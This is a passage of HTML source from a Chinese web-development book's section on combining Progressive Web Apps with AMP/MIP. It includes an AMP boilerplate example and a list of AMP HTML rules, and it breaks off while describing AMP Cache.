</li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"1-search-engine-index.html\">\n            \n                <a href=\"1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.10.2\" data-path=\"2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"4-preload-pwa.html\">\n            \n                <a href=\"4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >9.2 PWA 与 AMP/MIP</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x4E0E;-ampmip\"><b></b>PWA &#x4E0E; AMP/MIP</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;-ampmip\"><b></b>&#x4EC0;&#x4E48;&#x662F; AMP/MIP</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#amp-html-&#x89C4;&#x8303;\"><b></b>AMP HTML &#x89C4;&#x8303;</a></li><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x7ED3;&#x5408;-ampmip\"><b></b>PWA &#x7ED3;&#x5408; AMP/MIP</a></li></ul></ul></ul></div><a href=\"#pwa-&#x4E0E;-ampmip\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"pwa-&#x4E0E;-ampmip\"><a name=\"pwa-&#x4E0E;-ampmip\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x4E0E;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x4E0E;-ampmip\" class=\"plugin-anchor\" href=\"#pwa-&#x4E0E;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x4E0E; AMP/MIP</h1>\n<p>&#x672C;&#x8282;&#x5C06;&#x4F1A;&#x4ECB;&#x7ECD; PWA &#x5982;&#x4F55;&#x548C; AMP/MIP &#x8FDB;&#x884C;&#x7ED3;&#x5408;&#x5E94;&#x7528;&#xFF0C;&#x4EE5;&#x81F3;&#x4E8E;&#x8BA9; PWA &#x80FD;&#x591F;&#x518D;&#x641C;&#x7D22;&#x73AF;&#x5883;&#x4E0B;&#x4F53;&#x9A8C;&#x53D8;&#x5F97;&#x66F4;&#x597D;&#x3002;&#x5728;&#x770B; PWA &#x5982;&#x4F55;&#x548C; AMP/MIP &#x7ED3;&#x5408;&#x4E4B;&#x524D;&#xFF0C;&#x8FD8;&#x662F;&#x5148;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x4EC0;&#x4E48;&#x662F; AMP/MIP&#x3002;</p>\n<h2 id=\"&#x4EC0;&#x4E48;&#x662F;-ampmip\"><a name=\"&#x4EC0;&#x4E48;&#x662F;-ampmip\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;-ampmip\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F; AMP/MIP</h2>\n<p>AMP&#xFF08;<a href=\"https://www.ampproject.org\" target=\"_blank\">https://www.ampproject.org</a>&#xFF09;&#x548C; MIP&#xFF08;<a href=\"https://www.mipengine.org\" target=\"_blank\">https://www.mipengine.org</a>&#xFF09;&#x5206;&#x522B;&#x662F; Google &#x548C;&#x767E;&#x5EA6;&#x63A8;&#x51FA;&#x7684;&#x7F51;&#x9875;&#x52A0;&#x901F;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x4E3B;&#x8981;&#x9762;&#x5411;&#x79FB;&#x52A8;&#x7AEF;&#x7F51;&#x9875;&#xFF0C;&#x56E0;&#x4E3A; MIP &#x548C; AMP &#x90FD;&#x662F;&#x91C7;&#x7528;&#x540C;&#x6837;&#x539F;&#x7406;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x672C;&#x7AE0;&#x7684;&#x5185;&#x5BB9;&#x90FD;&#x4EE5;&#x4ECB;&#x7ECD; AMP &#x4E3A;&#x4E3B;&#x3002;</p>\n<p>AMP &#x7684;&#x539F;&#x7406;&#x89E3;&#x91CA;&#x8D77;&#x6765;&#x4E5F;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x603B;&#x7ED3;&#x8D77;&#x6765;&#xFF0C;&#x5305;&#x62EC;&#x4E09;&#x4E2A;&#x90E8;&#x5206;&#xFF1A;AMP HTML &#x89C4;&#x8303;&#x3001;AMP Cache&#x3001;AMP JS &#x8FD0;&#x884C;&#x65F6;&#x3002;</p>\n<h3 id=\"amp-html-&#x89C4;&#x8303;\"><a name=\"amp-html-&#x89C4;&#x8303;\" class=\"anchor-navigation-ex-anchor\" href=\"#amp-html-&#x89C4;&#x8303;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"amp-html-&#x89C4;&#x8303;\" class=\"plugin-anchor\" href=\"#amp-html-&#x89C4;&#x8303;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>AMP HTML &#x89C4;&#x8303;</h3>\n<p>AMP &#x5236;&#x8BA2;&#x4E86;&#x975E;&#x5E38;&#x4E25;&#x683C;&#x7684; HTML &#x7F16;&#x5199;&#x89C4;&#x8303;&#xFF0C;&#x53EA;&#x6709;&#x4E25;&#x683C;&#x6309;&#x7167; AMP HTML &#x89C4;&#x8303;&#x7F16;&#x5199;&#x7684; HTML &#x9875;&#x9762;&#x5E76;&#x901A;&#x8FC7; AMP &#x6821;&#x9A8C;&#x5668;&#x7684;&#x6821;&#x9A8C;&#xFF0C;&#x624D;&#x80FD;&#x4EAB;&#x53D7;&#x5230; Google &#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x7ED9; AMP &#x9875;&#x9762;&#x5E26;&#x6765;&#x7684;&#x4F18;&#x8D28;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x5C55;&#x793A;&#x7684;&#x662F;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; AMP HTML &#x7684;&#x4F8B;&#x5B50;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token doctype\">&lt;!doctype html&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span> <span class=\"token attr-name\">amp</span> <span class=\"token attr-name\">lang</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>en<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">charset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>utf-8<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">async</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://cdn.ampproject.org/v0.js<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>Hello, AMPs<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>canonical<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://example.ampproject.org/article-metadata.html<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width,minimum-scale=1,initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span> <span class=\"token attr-name\">amp-boilerplate</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n      <span class=\"token comment\">/* default css */</span>\n    </span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>noscript</span><span class=\"token punctuation\">&gt;</span></span>\n      <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span> <span class=\"token attr-name\">amp-boilerplate</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n        <span class=\"token selector\">body</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token property\">-webkit-animation</span><span class=\"token punctuation\">:</span> none<span class=\"token punctuation\">;</span>\n          <span class=\"token property\">-moz-animation</span><span class=\"token punctuation\">:</span> none<span class=\"token punctuation\">;</span>\n          <span class=\"token property\">-ms-animation</span><span class=\"token punctuation\">:</span> none<span class=\"token punctuation\">;</span>\n          <span class=\"token property\">animation</span><span class=\"token punctuation\">:</span> none\n        <span class=\"token punctuation\">}</span>\n      </span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>noscript</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>h1</span><span class=\"token punctuation\">&gt;</span></span>Welcome to the mobile web<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>h1</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>amp-img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>welcome.jpg<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">alt</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>Welcome<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">height</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>400<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">width</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>800<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>amp-img</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5728; AMP HTML &#x91CC;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x5F88;&#x591A;&#x6807;&#x51C6;&#x81EA;&#x5E26;&#x7684; HTML &#x6807;&#x7B7E;&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>h1</span><span class=\"token punctuation\">&gt;</span></span></code>&#x3001;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7B49;&#xFF0C;&#x4F46;&#x662F;&#x4E5F;&#x6709;&#x5F88;&#x591A;&#x6807;&#x7B7E;&#x4E0D;&#x80FD;&#x4F7F;&#x7528;&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code> &#x3001;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>iframe</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7B49;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x7C7B;&#x578B;&#x7684;&#x539F;&#x751F;&#x7684; HTML &#x6807;&#x7B7E;&#x5BF9;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x6027;&#x80FD;&#x6709;&#x5F71;&#x54CD;&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code> &#x52A0;&#x8F7D;&#x7684;&#x56FE;&#x7247;&#x4E0D;&#x7ECF;&#x8FC7; JS &#x65E0;&#x6CD5; lazyload&#xFF0C;&#x5BF9;&#x9996;&#x5C4F;&#x6027;&#x80FD;&#x6709;&#x5F71;&#x54CD;&#x3002;</p>\n<p>&#x56E0;&#x6B64; AMP &#x91C7;&#x7528; W3C &#x63D0;&#x51FA;&#x7684; customElements &#x6807;&#x51C6;&#x7F16;&#x5199;&#x4E86;&#x4E00;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x7684;&#x66FF;&#x4EE3;&#x54C1;&#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>amp-img</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x9ED8;&#x8BA4;&#x652F;&#x6301; lazyload&#xFF0C;&#x7C7B;&#x4F3C;&#x7684;&#x81EA;&#x5B9A;&#x4E49;&#x6807;&#x7B7E;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#xFF0C;&#x6700;&#x7EC8;&#x7684;&#x76EE;&#x7684;&#x53EA;&#x6709;&#x4E00;&#x4E2A;&#xFF1A;&#x8BA9; AMP &#x9875;&#x9762;&#x7684;&#x6027;&#x80FD;&#x6700;&#x597D;&#x3001;&#x4F53;&#x9A8C;&#x6700;&#x4F73;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x662F;&#x5217;&#x4E3E;&#x4E86;&#x51E0;&#x4E2A;&#x6BD4;&#x8F83;&#x91CD;&#x8981;&#x7684; AMP HTML &#x7684;&#x89C4;&#x8303;&#xFF0C;&#x8BE6;&#x7EC6;&#x7684;&#x89C4;&#x8303;&#x8BF7;&#x53C2;&#x7167; AMP &#x7684;&#x5B98;&#x65B9;&#x6587;&#x6863;&#xFF1A;<a href=\"https://amp.dev/documentation/guides-and-tutorials/learn/spec/amphtml.html\" target=\"_blank\">https://amp.dev/documentation/guides-and-tutorials/learn/spec/amphtml.html</a>&#x3002;</p>\n<p><strong>MUST</strong></p>\n<ol>\n<li>&#x5FC5;&#x987B;&#x8981;&#x4EE5; <code><span class=\"token doctype\">&lt;!doctype html&gt;</span></code> &#x5F00;&#x59CB; HTML &#x9875;&#x9762;&#x3002;</li>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5FC5;&#x987B;&#x5305;&#x542B;&#x96F7;&#x7535;&#x6807;&#x5C5E;&#x6027;&#x6216;&#x8005; amp&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span> <span class=\"token attr-name\">&#x26A1;</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6216; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span> <span class=\"token attr-name\">amp</span><span class=\"token punctuation\">&gt;</span></span></code>&#x3002;</li>\n<li>&#x5FC5;&#x987B;&#x8981;&#x5305;&#x542B; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x3002;</li>\n<li>&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x91CC;&#x5FC5;&#x987B;&#x8981;&#x6709;&#x4E00;&#x4E2A; canonical link &#x6807;&#x7B7E;&#xFF0C;&#x6307;&#x5411;&#x5E38;&#x89C4;&#x7684;&#x975E; AMP &#x7248;&#x672C;&#x7684; HTML &#x9875;&#x9762;&#xFF0C;&#x5982;&#xFF1A;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>canonical<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>$SOME_URL<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code>&#x3002;</li>\n<li>charset &#x5FC5;&#x987B;&#x6307;&#x5B9A;&#x4E3A; <code>UTF-8</code>&#xFF0C;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">charset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>utf-8<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code></li>\n<li>&#x5FC5;&#x987B;&#x5305;&#x542B;&#x4E00;&#x4E2A; viewport meta &#x6807;&#x7B7E;&#xFF0C;&#x5982;&#xFF1A;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code>&#x3002;</li>\n<li>&#x5F15;&#x5165; AMP &#x5B98;&#x65B9;&#x6307;&#x5B9A;&#x7684; AMP JS &#x8FD0;&#x884C;&#x65F6;&#xFF1A;<code>https://cdn.ampproject.org/v0.js</code></li>\n<li>&#x5FC5;&#x987B;&#x5305;&#x542B; boilerplate &#x76F8;&#x5173;&#x6837;&#x5F0F;</li>\n</ol>\n<p><strong>MUST NOT</strong></p>\n<ol>\n<li>&#x4E0D;&#x80FD;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E2D;&#x7F16;&#x5199; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x4E0D;&#x80FD;&#x5916;&#x94FE; JavaScript &#x4EE3;&#x7801;&#xFF0C;&#x9664;&#x4E86; AMP &#x7684;&#x4EE3;&#x7801;&#x5916;&#x3002;</li>\n<li>&#x4E0D;&#x80FD;&#x901A;&#x8FC7; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span><span class=\"token punctuation\">&gt;</span></span></code> &#x52A0;&#x8F7D;&#x5916;&#x94FE; style &#x8D44;&#x6E90;&#xFF0C;CSS &#x5FC5;&#x987B;&#x5199;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span> <span class=\"token attr-name\">amp-custom</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#xFF0C;&#x4E14;&#x4E0D;&#x8D85;&#x8FC7; 50KB&#x3002;</li>\n<li>&#x4E0D;&#x5141;&#x8BB8;&#x4F7F;&#x7528; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code>, <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>video</span><span class=\"token punctuation\">&gt;</span></span></code>, <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>audio</span><span class=\"token punctuation\">&gt;</span></span></code>, <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>iframe</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7B49;&#x6807;&#x7B7E;&#x3002;</li>\n</ol>\n<h4 id=\"amp-cache\"><a name=\"amp-cache\" class=\"anchor-navigation-ex-anchor\" href=\"#amp-cache\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"amp-cache\" class=\"plugin-anchor\" href=\"#amp-cache\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>AMP Cache</h4>\n<p>AMP Cache &#x662F; Google &#x7684;&#x4E00;&#x4E2A;&#x57FA;&#x4E8E;&#x4EE3;&#x7406;&#x7684; CDN&#xFF0C;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x7684; Google &#x641C;&#x7D22;&#x7ED3;&#x679C;&#x9875;&#x7684; AMP &#x9875;&#x9762;&#x7684;&#x8D44;&#x6E90;&#x90FD;&#x4ECE;&#x8FD9;&#x4E2A; CDN &#x5206;&#x53D1;&#x3002;AMP Cache &#x7684;&#x5DE5;&#x4F5C;&#x6D41;&#x7A0B;&#x975E;&#x5E38;&#x597D;&#x7406;&#x89E3;&#xFF0C;&#x6D41;&#x7A0B;&#x793A;&#x610F;&#x56FE;&#x5982;&#x56FE; 9-1 &#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/amp_search_engine_process.png\" alt=\"&#x56FE; 9-1 &#x641C;&#x7D22;&#x5F15;&#x64CE;&#x6536;&#x5F55; AMP &#x6D41;&#x7A0B;\"></p>\n<p>&#x56FE; 9-1 &#x7684;&#x63CF;&#x8FF0;&#x4FE1;&#x606F;&#x57FA;&#x672C;&#x4E0A;&#x53EF;&#x4EE5;&#x63CF;&#x8FF0;&#x4E3A;&#x4EE5;&#x4E0B;&#x51E0;&#x4E2A;&#x6B65;&#x9AA4;&#xFF1A;</p>\n<ol>\n<li>&#x5F00;&#x53D1;&#x8005;&#x63D0;&#x4F9B; AMP HTML &#x9875;&#x9762;&#x7684; URL &#x8BA9; Google 